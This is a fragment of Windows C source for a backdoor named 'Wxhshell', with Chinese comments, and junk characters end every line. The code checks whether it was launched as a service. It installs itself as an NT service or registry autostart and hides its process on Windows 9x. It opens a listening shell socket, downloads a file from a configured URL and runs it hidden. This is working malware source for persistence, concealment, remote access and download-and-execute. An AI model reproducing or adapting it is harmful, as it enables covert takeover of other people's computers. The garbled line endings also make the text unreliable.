ULONG InheritedFromUniqueProcessId; bi4^ zaCEE
} PROCESS_BASIC_INFORMATION; ijR-?nrR
ss|6_H =
PROCNTQSIP NtQueryInformationProcess; VC_3 ll]vr
XY$cx~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =6"hj,[Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ynOc~TN
JsAb q
HANDLE hProcess; YQfZiz}Fv
PROCESS_BASIC_INFORMATION pbi; LiHXWi{s
r`mzsO-'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +ik N) D
if(NULL == hInst ) return 0; b_)QBE9
]ci|$@V
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (<5'ceF)X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B8BY3~}]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]% ZjD
$AL|d[[T[
if (!NtQueryInformationProcess) return 0; IAt+S-q0
N8/Au=De_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ed ?Yk* 4
if(!hProcess) return 0; |?pYJkrYO
<7RkM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l")o!N?
R, (+NT$
CloseHandle(hProcess); .[eSKtbc)
FHnHhB [
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SbQ{ >
if(hProcess==NULL) return 0; ni 02N3R
OM.(g%2
HMODULE hMod; ,rvZW}=
char procName[255]; MZhJ,km)
unsigned long cbNeeded; *SAcH_I2$>
Di5Op(S((
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B=nx8s
% 'L=
CloseHandle(hProcess); KlSY^(kHR
swe8
if(strstr(procName,"services")) return 1; // 以服务启动 @%5F^Vbd
@)M.u3{\
return 0; // 注册表启动 )9;kzp/
} `(w kqa
%CfTqbB
// 主模块 _tg3%X]
int StartWxhshell(LPSTR lpCmdLine) k?@W/}Iv9
{ a}+_Yo(Q
SOCKET wsl; aX%g+6t2
BOOL val=TRUE; :;gwdZ
int port=0; 6`{)p&9
struct sockaddr_in door; cR@}
>=RHE@
if(wscfg.ws_autoins) Install(); *TMM:w|1
X#\P.$
port=atoi(lpCmdLine); 0^tJX1L
#7E&16Fk
if(port<=0) port=wscfg.ws_port; H6+st`{
BRQ5
WSADATA data; )F9V=PJE
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uma9yIk
t3h \.(mq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !un"XI0`t<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rt4|GVa
door.sin_family = AF_INET; ^c:eXoU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~m"M#1,ln3
door.sin_port = htons(port); ,1 9" [:WN
Q!$kUcky9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?\ i,JJO
closesocket(wsl); 39^uLob
return 1; ;kcFQed\w
} xdSj+507
J5r
L7
if(listen(wsl,2) == INVALID_SOCKET) { {gq:sj>
closesocket(wsl); Z{>Y':\?<
return 1; z8MpE
} -ZMl[;OM
Wxhshell(wsl); <H(AS'
WSACleanup(); #
v/aI*Rl
b9!J}hto,
return 0; #p^pvdvh3
U*#E aL
} A 5\"e^>
L?pvz}
// 以NT服务方式启动 gcY~_'&u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <GU(/S!}
{ [_z2z6
DWORD status = 0; S&g-
DWORD specificError = 0xfffffff; ?_`P;}4#
n ;fTx
serviceStatus.dwServiceType = SERVICE_WIN32; .M#>@~XR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &qj&WfrB,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E!]rh,mYK
serviceStatus.dwWin32ExitCode = 0; :j!_XMyT:
serviceStatus.dwServiceSpecificExitCode = 0; ;@$, "
P
serviceStatus.dwCheckPoint = 0; ;?[ +vf")
serviceStatus.dwWaitHint = 0; SF}L3/C&h
' [M2Q"X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *xX0]{49q
if (hServiceStatusHandle==0) return; zj0pP{y
?>Ci`XlLr
status = GetLastError(); w2_I/s6B
if (status!=NO_ERROR) >5Rw~
{ nT6iS}h
serviceStatus.dwCurrentState = SERVICE_STOPPED; "MKsSty
serviceStatus.dwCheckPoint = 0; `rFGSq$9
serviceStatus.dwWaitHint = 0; bqLYF[#T
serviceStatus.dwWin32ExitCode = status; qQ\hUii
serviceStatus.dwServiceSpecificExitCode = specificError; }z%/6`7)|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TEy.zzt
return; c;fyUi
} (3HgI
K0bmU(Xxp
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~V)VGGOL$v
serviceStatus.dwCheckPoint = 0; mCP +7q7
serviceStatus.dwWaitHint = 0; +(hwe
jyC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eh#
(}v
} - cC(d$y
Q? |M BTo
// 处理NT服务事件,比如:启动、停止 k{&E}:A
VOID WINAPI NTServiceHandler(DWORD fdwControl) =cX"gI[
{ X|0`$f
switch(fdwControl) {.[,ee-)9
{ v}t:}M<;
case SERVICE_CONTROL_STOP: "h|0]y^2
serviceStatus.dwWin32ExitCode = 0; E.*OA y
serviceStatus.dwCurrentState = SERVICE_STOPPED; GeR-k9
serviceStatus.dwCheckPoint = 0; 9!<3qx/
serviceStatus.dwWaitHint = 0; -"b3q
{ )1'_g4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T_
#oMXZ/
} ."g5+ xX
return; fae yk]u
case SERVICE_CONTROL_PAUSE: 8&iI+\lCy
serviceStatus.dwCurrentState = SERVICE_PAUSED; ))-M+CA
break; :re(khZq#
case SERVICE_CONTROL_CONTINUE: (B4A$t
serviceStatus.dwCurrentState = SERVICE_RUNNING; >LZ)<-Mk
break; `'t;BXedz/
case SERVICE_CONTROL_INTERROGATE: I ywx1ac
break; 2:0Y'\nn
}; G(,~{N||
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lAt1Mq}?P
} Ny<G2!W
H%jIjf
// 标准应用程序主函数 4E94W,1%,Y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L PgI"6cP
{ .EELR]`y7I
|xC
TX
// 获取操作系统版本 X64I~*
OsIsNt=GetOsVer(); Rs`Y'_B
GetModuleFileName(NULL,ExeFile,MAX_PATH); LU=)\U@Q
f*@:{2I.v
// 从命令行安装 Z1}zf(JU
if(strpbrk(lpCmdLine,"iI")) Install(); ooxzM `
_^A
NJ7
// 下载执行文件 _Pm}]Y:_
if(wscfg.ws_downexe) { F#R\Ot,hv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
K8we*
WinExec(wscfg.ws_filenam,SW_HIDE); soCHwiE
} =5#Jsn?U
~&jCz4M
if(!OsIsNt) { -v2q:x'G#
// 如果时win9x,隐藏进程并且设置为注册表启动 "C|l3X'
HideProc(); G+p>39P
StartWxhshell(lpCmdLine); nWsz0v3'9
} s$G8`$+i1
else s&hP^tKT
if(StartFromService()) `h]f(
// 以服务方式启动 JQ4>S<ttJ
StartServiceCtrlDispatcher(DispatchTable); +`[Sv%v&L
else P.P>@@+d
// 普通方式启动 I8:&Btf
StartWxhshell(lpCmdLine); ${2fr&Tp
XOFaS '.
return 0; 2C&%UZim;P
}